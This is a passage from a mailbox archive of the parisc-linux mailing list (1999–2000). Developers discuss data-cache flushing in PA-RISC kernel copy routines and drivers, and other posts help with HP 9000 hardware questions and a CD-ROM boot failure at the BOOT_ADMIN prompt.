On Tue, Aug 29, 2000 at 05:23:08PM -0400, Matthew Wilcox wrote:
> My attempt at fixing this in a sane manner led me to create:
> 
> #define user_fdc(addr) asm volatile("fdc 0(%%sr3,%0)" : : "r" (addr))
> (...)
> 
> and
> 
> #define kernel_fdc(addr) asm volatile("fdc 0(%%sr0,%0)" : : "r" (addr))
> (...)
> 
> however, the resulting kernel wouldn't boot.  So let's take this a

I tried something similar, with the same result.

What do you make of arch/parisc/lib/usercopy.c

unsigned long
__generic_copy_to_user(void *to, const void *from, unsigned long n)
{
        if (access_ok(VERIFY_WRITE, to, n)) {
                __flush_dcache_range((unsigned long)from, n);
                lcopy_to_user(to,from,n);
                __flush_dcache_range((unsigned long)to, n);
        }
        return 0;
}


Typically 'from' would be a kernel virtual address, and 'to' would
be a user virtual address, yes?  So, that is expecting __flush_dcache_range()
to know which space register to use.  But then sometimes these functions
for accessing user space are redirected at kernel space by set_fs().
In that case both addresses are kernel virtual addresses.

lcopy_to_user() claims to modify %sr1 to get the right space in %sr1,
based on a flag in the task struct.

See copy_strings_kernel() in fs/exec.c for an example of where
copy_from_user( is used to copy from kernel space.

Richard


From - Thu Nov 08 21:13:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.0-test6 lack of speed
Date: Wed, 30 Aug 2000 13:41:50 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20000830134150.J877@linuxcare.com>
References: <20000822153803.U4060@linuxcare.com> <20000822155221.W4060@linuxcare.com> <20000822165047.X4060@linuxcare.com> <87n1i5wabx.fsf@linuxcare.com> <20000823172320.E4060@linuxcare.com> <20000829172308.A1032@vodka.thepuffingroup.com> <20000830011752.A9854@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619094 3237 80.91.229.3 (22 Nov 2014 01:18:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:14 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: rhirst@linuxcare.com  Wed Aug 30 06:41:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA27403
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Aug 2000 06:41:42 -0600
Original-Received: (qmail 8969 invoked by uid 15267); 30 Aug 2000 12:41:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8945 invoked from network); 30 Aug 2000 12:41:44 -0000
Original-Received: from user32-149.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.32.149)
  by mailserv2.iuinc.com with SMTP; 30 Aug 2000 12:41:44 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id CD0C6B005; Wed, 30 Aug 2000 13:41:50 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20000830011752.A9854@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Wed, Aug 30, 2000 at 01:17:52AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7843

On Wed, Aug 30, 2000 at 01:17:52AM +0100, Matthew Wilcox wrote:
> Anyway, would either of Richard or Helge like to look over the lasi_82596
> driver and convert it to use the flush_kernel_dcache_range() interface
> or tell me why my code is no good and I suck?  Ditto the sim700 driver
> actually.  Are there any other drivers which have simply taken the
> lasi_82596 wback code and replicated it or are these the only two?

I'm not that happy with calling flush_kernel_dcache_range() from
drivers, when that function only exists on parisc.  Most archs define
dma_cache_wback/dma_cache_inv/dma_cache_wback_inv, which, from the
descriptions in asm-ia64/io.h seem to be just what lasi_82596 and
sim700 need.  The versions on parisc currently just flush_all_caches(),
but perhaps we should make all three call flush_kernel_dcache_range()?
I'll try that approach anyway.

Richard


From - Thu Nov 08 21:13:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.0-test6 lack of speed
Date: Wed, 30 Aug 2000 14:18:25 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20000830141825.A3463@parcelfarce.linux.theplanet.co.uk>
References: <20000822153803.U4060@linuxcare.com> <20000822155221.W4060@linuxcare.com> <20000822165047.X4060@linuxcare.com> <87n1i5wabx.fsf@linuxcare.com> <20000823172320.E4060@linuxcare.com> <20000829172308.A1032@vodka.thepuffingroup.com> <20000830111523.F877@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619095 3242 80.91.229.3 (22 Nov 2014 01:18:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:15 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, David Huggins-Daines <dhd@linuxcare.com>,
        parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: willy@www.linux.org.uk  Wed Aug 30 07:18:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA27844
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Aug 2000 07:18:26 -0600
Original-Received: (qmail 10720 invoked by uid 15267); 30 Aug 2000 13:18:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10710 invoked from network); 30 Aug 2000 13:18:30 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 30 Aug 2000 13:18:30 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13U7l3-0006ZU-00; Wed, 30 Aug 2000 14:18:25 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20000830111523.F877@linuxcare.com>; from rhirst@linuxcare.com on Wed, Aug 30, 2000 at 11:15:23AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:7844

On Wed, Aug 30, 2000 at 11:15:23AM +0100, Richard Hirst wrote:
> What do you make of arch/parisc/lib/usercopy.c
> 
> unsigned long
> __generic_copy_to_user(void *to, const void *from, unsigned long n)
> {
>         if (access_ok(VERIFY_WRITE, to, n)) {
>                 __flush_dcache_range((unsigned long)from, n);
>                 lcopy_to_user(to,from,n);
>                 __flush_dcache_range((unsigned long)to, n);
>         }
>         return 0;
> }
> 
> Typically 'from' would be a kernel virtual address, and 'to' would
> be a user virtual address, yes?  So, that is expecting __flush_dcache_range()
> to know which space register to use.  But then sometimes these functions
> for accessing user space are redirected at kernel space by set_fs().
> In that case both addresses are kernel virtual addresses.

Right.  But I don't see why we need to flush any caches at all here.
We're not changing any mappings, we're accessing through a fixed space
register, there's no other device involved, if there were another CPU
involved then it would be cache-coherent _anyway_ -- what's the problem?


From - Thu Nov 08 21:13:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Wouters <paul@xtdnet.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Q: What kind of RAM does a HP 9000 E35 (800 series) need?
Date: Wed, 30 Aug 2000 16:46:13 +0200 (MET DST)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0008241245130.24244-100000@duplo.xtdnet.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619095 3244 80.91.229.3 (22 Nov 2014 01:18:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:15 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: paul@xtdnet.nl  Wed Aug 30 08:46:13 2000
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA28544
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Aug 2000 08:46:12 -0600
Original-Received: (qmail 9537 invoked by uid 15267); 30 Aug 2000 14:46:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9494 invoked from network); 30 Aug 2000 14:46:15 -0000
Original-Received: from bone.xtdnet.nl (HELO duplo.xtdnet.nl) (root@194.229.18.5)
  by mailserv2.iuinc.com with SMTP; 30 Aug 2000 14:46:15 -0000
Original-Received: from bone.xtdnet.nl (IDENT:paul@bone.xtdnet.nl [194.229.18.5]) by duplo.xtdnet.nl (8.10.2/8.6.11) with ESMTP id e7UEkDJ11075 for <parisc-linux@thepuffingroup.com>; Wed, 30 Aug 2000 16:46:13 +0200
Xref: news.gmane.org gmane.linux.ports.parisc:7845

Can anyone tell me what kind of RAM (and what minimum number of modules) an
HP9000 E35 needs? Also, what does it need to run Linux comfortable (without X)

Paul
-- 
"release early, release often". Applicable in multiple situations. ;)

			--- Arthur van Leeuwen (not talking about software)



From - Thu Nov 08 21:13:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Q: What kind of RAM does a HP 9000 E35 (800 series) need?
Date: Wed, 30 Aug 2000 15:56:36 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20000830155636.D3463@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.21.0008241245130.24244-100000@duplo.xtdnet.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619095 3246 80.91.229.3 (22 Nov 2014 01:18:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Wouters <paul@xtdnet.nl>
Original-X-From: willy@www.linux.org.uk  Wed Aug 30 08:56:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA28953
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Aug 2000 08:56:39 -0600
Original-Received: (qmail 21482 invoked by uid 15267); 30 Aug 2000 14:56:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21475 invoked from network); 30 Aug 2000 14:56:42 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 30 Aug 2000 14:56:42 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13U9I5-0007Y2-00; Wed, 30 Aug 2000 15:56:37 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <Pine.LNX.4.21.0008241245130.24244-100000@duplo.xtdnet.nl>; from paul@xtdnet.nl on Wed, Aug 30, 2000 at 04:46:13PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:7846

On Wed, Aug 30, 2000 at 04:46:13PM +0200, Paul Wouters wrote:
> Can anyone tell me what kind of RAM (and what minimum number of modules) an
> HP9000 E35 needs? Also, what does it need to run Linux comfortable (without X)

<quote>

The earliest PA-RISC servers have proprietary HP devices attached to
proprietary HP bus architectures. It is unlikely that documentation
on these busses and devices will ever become available, since so few
people are interested in spending any effort finding and releasing the
docs. Machines in this category are the E, F, G, H, I class (aka Nova)
and T500 series (Emerald) machines as well as some earlier, unlettered
servers.

</quote>

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ed June <buggz@america.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [hppa-linux] bubsy on the list ?
Date: Sat, 27 Mar 1999 07:34:18 -0500
Organization: buggz.net
Lines: 19
Approved: news@gmane.org
Message-ID: <36FCD04A.F6DEAA0F@america.net>
References: <36FBD2E7.D7399CA2@netscape.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619096 3247 80.91.229.3 (22 Nov 2014 01:18:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:16 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: buggz@america.net  Sat Mar 27 07:30:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id HAA06683
	for <hppa-linux@sod.res.cmu.edu>; Sat, 27 Mar 1999 07:30:46 -0500
Original-Received: (qmail 32665 invoked by uid 15267); 27 Mar 1999 12:29:31 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 32658 invoked from network); 27 Mar 1999 12:29:31 -0000
Original-Received: from smtp.america.net (199.170.121.14)
  by mailserv2.iuinc.com with SMTP; 27 Mar 1999 12:29:31 -0000
Original-Received: from america.net (buggz@tnt1-247.america.net [206.67.248.247])
	by smtp.america.net (8.9.1/8.9.1) with ESMTP id HAA05328
	for <hppa-linux@thepuffingroup.com>; Sat, 27 Mar 1999 07:30:40 -0500 (EST)
Original-Sender: buggz@smtp.america.net
X-Mailer: Mozilla 4.08 [en] (X11; U; Linux 2.2.3-ac4 i686)
Xref: news.gmane.org gmane.linux.ports.parisc:7847

>

bubsy,

You were correct.
IPL seems to come from the boot device.
I was going on my corrupt memory.
I just tried it on my 715, and, it looks for IPL on the boot device.
Sorry...

--

 Ed June

 buggz@america.net
 Linux: An open choice for free people worldwide.




From - Thu Nov 08 21:13:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Park <apark@cdf.toronto.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] still cannot boot.
Date: Wed, 30 Aug 2000 11:43:59 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0008301140400.25953-100000@misty.cdf>
References: <200008300538.WAA02356@chrome.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619096 3249 80.91.229.3 (22 Nov 2014 01:18:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:16 +0000 (UTC)
Cc: taggart@carmen.fc.hp.com, parisc-linux@thepuffingroup.com
To: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Original-X-From: apark@cdf.toronto.edu  Wed Aug 30 09:44:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA29641
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Aug 2000 09:44:51 -0600
Original-Received: (qmail 15602 invoked by uid 15267); 30 Aug 2000 15:44:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15577 invoked from network); 30 Aug 2000 15:44:55 -0000
Original-Received: from marvin.cdf.toronto.edu (postfix@128.100.31.3)
  by mailserv2.iuinc.com with SMTP; 30 Aug 2000 15:44:55 -0000
Original-Received: by marvin.cdf.toronto.edu (Postfix, from userid 605)
	id 6D90A3C0B; Wed, 30 Aug 2000 11:43:59 -0400 (EDT)
X-Sender: apark@misty.cdf
In-Reply-To: <200008300538.WAA02356@chrome.rose.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7848

On Tue, 29 Aug 2000, Kirk Bresniker wrote:

> | 
> | > 
> | > Andrew Park writes...
> | > 
> | > > I must be missing something...
> | > > I got a bootable HP-UX installation CD today, so I popped it in my CDROM
> | > > and on the BOOT_ADMIN> prompt I typed, boot lan isl.  It still gets
> | > > stuck, then I changed the path, so that cdrom is primary and the LAN is
> | > > secondary, then typed  boot pri isl, and it comes right back to the
> | > > BOOT_ADMIN> prompt.  Am I missing something obvious?
> | > 
> 
> Em, if you're trying to boot from your CD-ROM, why are you typing
> a command to attempt a lan boot?  Don't you want to do the following:
> 
> BOOT_ADMIN> boot scsi[some address stuff] isl ?

I mentioned that I tried

	boot pri isl

After making CD-ROM as primary boot.  It would not take me anywhere.
I just tried all combination of things when everything failed.
Thanks


Andrew Park
           
________________________________________________________________________ 
CDFlab Systems Administrator                       www.cdf.utoronto.ca |
GnuPG Signature              www.cdf.utoronto.ca/~apark/public_key.txt |
------------------------------------------------------------------------


From - Thu Nov 08 21:13:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] still cannot boot.
Date: Wed, 30 Aug 2000 09:58:21 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <E13UAFp-0008MT-00@noam.fc.hp.com>
References: <Pine.SOL.4.21.0008301140400.25953-100000@misty.cdf>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619096 3250 80.91.229.3 (22 Nov 2014 01:18:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andrew Park <apark@cdf.toronto.edu>
Original-X-From: bame@noam.fc.hp.com  Wed Aug 30 09:58:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA30111
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Aug 2000 09:58:15 -0600
Original-Received: (qmail 327 invoked by uid 15267); 30 Aug 2000 15:58:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 314 invoked from network); 30 Aug 2000 15:58:19 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 30 Aug 2000 15:58:19 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by cosrel1.hp.com (Postfix) with ESMTP
	id DEA193AF; Wed, 30 Aug 2000 09:58:24 -0600 (MDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id JAA18037;
	Wed, 30 Aug 2000 09:58:16 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13UAFp-0008MT-00; Wed, 30 Aug 2000 09:58:21 -0600
In-Reply-To: Your message of "Wed, 30 Aug 2000 11:43:59 EDT."
             <Pine.SOL.4.21.0008301140400.25953-100000@misty.cdf> 
Xref: news.gmane.org gmane.linux.ports.parisc:7849

= 
= I mentioned that I tried
= 
= 	boot pri isl
= 
= After making CD-ROM as primary boot.  It would not take me anywhere.
= I just tried all combination of things when everything failed.
= Thanks

Not enough information to help -- no specific error messages, no
specific commands you typed with numbers (LAN IDs or SCSI addresses)
in them.  Please send the output of:

    sea scsi
    path

And the error when you do 'boot pri isl' and it fails.

	-P


From - Thu Nov 08 21:13:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] still cannot boot.
Date: Wed, 30 Aug 2000 17:01:26 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20000830170126.E3463@parcelfarce.linux.theplanet.co.uk>
References: <Pine.SOL.4.21.0008301140400.25953-100000@misty.cdf> <E13UAFp-0008MT-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619097 3256 80.91.229.3 (22 Nov 2014 01:18:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:17 +0000 (UTC)
Cc: Andrew Park <apark@cdf.toronto.edu>, parisc-linux@thepuffingroup.com
To: Paul Bame <bame@noam.fc.hp.com>
Original-X-From: willy@www.linux.org.uk  Wed Aug 30 10:14:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA30617
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Aug 2000 10:14:50 -0600
Original-Received: (qmail 22274 invoked by uid 15267); 30 Aug 2000 16:14:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22239 invoked from network); 30 Aug 2000 16:14:49 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 30 Aug 2000 16:14:49 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13UAIo-0008TM-00; Wed, 30 Aug 2000 17:01:26 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <E13UAFp-0008MT-00@noam.fc.hp.com>; from bame@noam.fc.hp.com on Wed, Aug 30, 2000 at 09:58:21AM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:7850

On Wed, Aug 30, 2000 at 09:58:21AM -0600, Paul Bame wrote:
> Not enough information to help -- no specific error messages, no
> specific commands you typed with numbers (LAN IDs or SCSI addresses)
> in them.  Please send the output of:
> 
>     sea scsi
>     path
> 
> And the error when you do 'boot pri isl' and it fails.

i'm wondering if the problem is that the scsi cdrom he has won't support
512-byte sector mode, only 2048-byte sectors.  iirc, HPs won't boot off
all CD-ROM rives for this reason.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Park <apark@cdf.toronto.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] still cannot boot.
Date: Wed, 30 Aug 2000 12:16:18 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0008301209270.26058-100000@misty.cdf>
References: <E13UAFp-0008MT-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619097 3258 80.91.229.3 (22 Nov 2014 01:18:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:17 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@noam.fc.hp.com>
Original-X-From: apark@cdf.toronto.edu  Wed Aug 30 10:17:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA30892
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Aug 2000 10:16:58 -0600
Original-Received: (qmail 25002 invoked by uid 15267); 30 Aug 2000 16:17:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24976 invoked from network); 30 Aug 2000 16:17:01 -0000
Original-Received: from marvin.cdf.toronto.edu (postfix@128.100.31.3)
  by mailserv2.iuinc.com with SMTP; 30 Aug 2000 16:17:01 -0000
Original-Received: by marvin.cdf.toronto.edu (Postfix, from userid 605)
	id 4F5A43C0B; Wed, 30 Aug 2000 12:16:18 -0400 (EDT)
X-Sender: apark@misty.cdf
In-Reply-To: <E13UAFp-0008MT-00@noam.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7851

On Wed, 30 Aug 2000, Paul Bame wrote:

> Not enough information to help -- no specific error messages, no
> specific commands you typed with numbers (LAN IDs or SCSI addresses)
> in them.  Please send the output of:
> 
>     sea scsi
>     path
> 
> And the error when you do 'boot pri isl' and it fails.

search scsi yields

	scsi.5.0	NEC CD-ROM DRIVE:501
	scsi.3.0	MAXTOR LXT-2135 SUN0207

I change 'path' around a bit (when I did 'boot pri isl', primary
boot path was set at scsi.5.0), but at the moment it's

	Primary boot path:	lan.000000-000000.0.0
	Alternate boot path:	scsi.5.0

There are no error messages produced.  It just comes right back to
BOOT_ADMIN> prompt.
Thanks


Andrew Park
           
________________________________________________________________________ 
CDFlab Systems Administrator                       www.cdf.utoronto.ca |
GnuPG Signature              www.cdf.utoronto.ca/~apark/public_key.txt |
------------------------------------------------------------------------


From - Thu Nov 08 21:13:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Park <apark@cdf.toronto.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] still cannot boot.
Date: Wed, 30 Aug 2000 12:18:43 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0008301217240.26058-100000@misty.cdf>
References: <20000830170126.E3463@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619097 3263 80.91.229.3 (22 Nov 2014 01:18:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:17 +0000 (UTC)
Cc: Paul Bame <bame@noam.fc.hp.com>, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: apark@cdf.toronto.edu  Wed Aug 30 10:18:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA31236
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Aug 2000 10:18:50 -0600
Original-Received: (qmail 27714 invoked by uid 15267); 30 Aug 2000 16:18:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27703 invoked from network); 30 Aug 2000 16:18:54 -0000
Original-Received: from marvin.cdf.toronto.edu (postfix@128.100.31.3)
  by mailserv2.iuinc.com with SMTP; 30 Aug 2000 16:18:54 -0000
Original-Received: by marvin.cdf.toronto.edu (Postfix, from userid 605)
	id A563D3C0B; Wed, 30 Aug 2000 12:18:44 -0400 (EDT)
X-Sender: apark@misty.cdf
In-Reply-To: <20000830170126.E3463@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:7852

On Wed, 30 Aug 2000, Matthew Wilcox wrote:

> On Wed, Aug 30, 2000 at 09:58:21AM -0600, Paul Bame wrote:
> > Not enough information to help -- no specific error messages, no
> > specific commands you typed with numbers (LAN IDs or SCSI addresses)
> > in them.  Please send the output of:
> > 
> >     sea scsi
> >     path
> > 
> > And the error when you do 'boot pri isl' and it fails.
> 
> i'm wondering if the problem is that the scsi cdrom he has won't support
> 512-byte sector mode, only 2048-byte sectors.  iirc, HPs won't boot off
> all CD-ROM rives for this reason.

hmm... I should find out.  I do not have the manual to confirm, but
I probably should be able to get a spec from the web.
Thanks for the hint.


Andrew Park
           
________________________________________________________________________ 
CDFlab Systems Administrator                       www.cdf.utoronto.ca |
GnuPG Signature              www.cdf.utoronto.ca/~apark/public_key.txt |
------------------------------------------------------------------------


From - Thu Nov 08 21:13:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Au revoir
Date: Wed, 30 Aug 2000 23:07:46 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20000830230746.A32582@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619097 3264 80.91.229.3 (22 Nov 2014 01:18:17 GMT)
